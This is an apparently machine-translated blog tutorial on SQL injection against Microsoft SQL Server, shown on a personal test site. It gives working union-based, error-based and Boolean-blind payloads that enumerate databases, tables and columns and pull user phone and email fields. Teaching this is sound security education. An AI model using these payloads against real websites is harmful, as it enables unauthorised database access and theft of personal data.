当前位置:网站首页>SQL injection - injection based on MSSQL (SQL Server)
SQL injection - injection based on MSSQL (SQL Server)
2022-07-04 05:27:00 【In a word, the Trojan horse (the growth road of Wang an Xiaobai)】
Catalog
One 、 How to judge whether the website uses sql server database
Two 、sql server The database contains three main system tables
3、 ... and 、sql server Main function
Four 、 Database injection process
5、 ... and 、sql server Joint query for
6、 ... and 、sql server Error injection of
7、 ... and 、sql server Boolean blind note .
One 、 How to judge whether the website uses sql server database
- According to the suffix : If the suffix is aspx, The database is about sql server
- Judge according to the error information , The error message contains Microsoft word .
- Judge according to the system table ,and (select count(*)from sysdatabases) >0 , If it works , It means that it contains this system table , It can be judged as sql server database sql server The database contains three main system tables
Two 、sql server The database contains three main system tables
- sysdatabases : This form is saved in master In the database , Inside name The database names of all databases are stored under the field .
- sysobjects: This table stores the information of the database table , Inside id Fields are stored in tables id,name Is the name of the watch ,xtype Fields store the type of table ,u Represents the table created for the user ,s Indicates that the table is a system table .
- syscolumns: This table stores the information of fields in the database ,id For the table id, The id Can pass sysobjects get .name For field name .
3、 ... and 、sql server Main function
- host_name() : Return the server-side host name .
- current_user(): Return the current database user .
- db_name(): Returns the name of the current database .
- char(): take ASCII Code into the corresponding character .
- ASCII(): Convert the character to the corresponding ASCII code .
- substring(): Intercepting string .
Four 、 Database injection process
- Get database name
- Get the name of the table in the database
- Get the column name of the table in the database
- Get the corresponding data
5、 ... and 、sql server Joint query for
1. Use union keyword
2. Use union Joint query considerations
- First of all, you need to know the number of columns to query , Use order by n Judge n Indicates the specific number of columns .
- sql server Database and MySQL The difference between databases is ,sql server The data types before and after the database must be consistent .
- Determine the display position of the data .
- Make the previous query result empty .
3.sql server Demonstration of database using joint query .
notes : This website is a personal website , Do not use real websites to attack .
3.1 First, judge the injection point , Secondly, judge the injection type
Add single quotes , Error message found

3.2 Use it directly 2-1 Determine its data type
Page echo found successful , So it can be determined as digital , Next use union The joint query 
3.3 Use order by Judge the number of columns
You can find that the number of columns is 13 Column


3.4 Confirm the data type of each column , Therefore, it is found that the data types are incompatible , have access to null Replace

When we all use null when , It's still wrong to find out , The reason for this error is union Statements remove duplicates by default when merging queries , That is to say, it is executed by default distinct operation .

Therefore, it is necessary to union Change it to union all Do not remove duplicates , This error can be solved . Generally, you can get the database directly after you get here , But the environment here is wrong , It indicates that when the query is found , There are also data type mismatches , Continue to replace from the beginning with null , Until no error is reported . It was finally determined to be 3,4,6,7,10,11 Character , 1,2,5,8,9,12,13 It is digital

3.5 Now you can get the relevant information of the database through joint query on the homepage
3.5.1 Get database name
payload:id=1 UNION all SELECT 1,2,name,null,5,null,null,8,9,null,null,12,13 from master..sysdatabases

3.5.2 Get the library name of the current database
payload:id=1 UNION all SELECT 1,2,db_name(),null,5,null,null,8,9,null,null,12,13 from master..sysdatabases

3.5.3 Get the table name in the database
payload:id=1 UNION all SELECT 1,2,name,null,5,null,null,8,9,null,null,12,13 from jiaofan..sysobjects where xtype = 0x75

3.5.4 Get the field of the current table name
payload:id=1 UNION all SELECT 1,2,name,null,5,null,null,8,9,null,null,12,13 from jiaofan..syscolumns where id = (select id from jiaofan..sysobjects where name = 0x73006C005F007500730065007200)

5.3.5 Get the specific value under the field
payload:id=1 UNION all SELECT 1,2,shouji,null,5,youxiang,null,8,9,null,null,12,13 from sl_user

6、 ... and 、sql server Error injection of
Similar to other database error injection .
1.sql server Demonstration of error injection
1.1 Get the current database
payload:id=1 and 1=(select db_name())

1.2 Get all databases ( Because we use and 1= () Error reporting in progress , So only one value can be obtained at a time , You can use top function )
payload:id=1 and 1= (select top 1 name from master..sysdatabases)
If you want to get the second row of data ,
payload:id=1 and 1= (select top 1 name from master..sysdatabases where name not in( select top 1 name from master..sysdatabases ))

1.3 Get the table name of the current database
payload:id=1 and 1= (select top 1 name from jiaofan..sysobjects where xtype = 0x75)

1.4 Get the field name in the table
Because it involves two tables , So you can combine the two tables
payload:id=1 and 1= (select top 1 c.name from jiaofan..syscolumns c ,jiaofan..sysobjects o where c.id = o.id and o.name =0x73006C005F007500730065007200 )

7、 ... and 、sql server Boolean blind note .
1.sql server Demonstration of Boolean blind note
1.1 Get the number of databases
payload:id=1 and (select count(*) from master..sysdatabases) >7

id=1 and (select count(*) from master..sysdatabases) >8

1.2 Get the information of the current database
payload:id=1 and substring((select db_name()),1,1)=char(106)

边栏推荐
- C语言简易学生管理系统(含源码)
- Remote desktop client RDP
- 总线的基本概念
- C language simple student management system (including source code)
- June 2022 summary
- With the advent of the IP era, how can E-sports hotels take advantage of the "east wind" of games?
- (4) Canal multi instance use
- 小程序毕业设计---美食、菜谱小程序
- Thread pool: use thread pool to optimize query speed
- RSA加密应用常见缺陷的原理与实践
猜你喜欢

Letter meaning and parameter abbreviation of optical module Daquan

Automated testing selenium foundation -- webdriverapi

LM小型可编程控制器软件(基于CoDeSys)笔记二十一:错误3703
![[技术发展-25]:广播电视网、互联网、电信网、电网四网融合技术](/img/87/e0469e280365ed0261e2b551ebd888.png)
[技术发展-25]:广播电视网、互联网、电信网、电网四网融合技术

Two sides of the evening: tell me about the bloom filter and cuckoo filter? Application scenario? I'm confused..

Ping port artifact psping

Zhongke Panyun - module a infrastructure setting and safety reinforcement scoring standard

How to build your own knowledge engine? Community open application

Just do it with your hands 7 - * project construction details 2 - hook configuration

Integer type of C language
随机推荐
ansys命令
[matlab] matlab simulates digital baseband transmission system eye diagram of bipolar baseband signal (cosine roll off forming pulse)
Public inputs in appliedzkp zkevm (13)
Zhongke Panyun - module a infrastructure setting and safety reinforcement scoring standard
Etcd database source code analysis - initialization overview
云原生架构实战案例及优化解决方案
Trie数-字典树
【雕爷学编程】Arduino动手做(105)---压电陶瓷振动模块
数据标注是一块肥肉,盯上这块肉的不止中国丨曼孚科技
Roles of rollup components
Just do it with your hands 7 - * project construction details 2 - hook configuration
2022年R2移动式压力容器充装复训题库及答案
KMP匹配字符串
[matlab] matlab simulation of modulation system - power spectrum and coherent demodulation of AM modulated signal
基于单片机的太阳能杀虫系统
[matlab] matlab simulates digital baseband transmission system - digital baseband transmission system
Rollup各组件作用
[paper summary] zero shot semantic segmentation
Automated testing selenium foundation -- webdriverapi
Zkevm (12) state proof of appliedzkp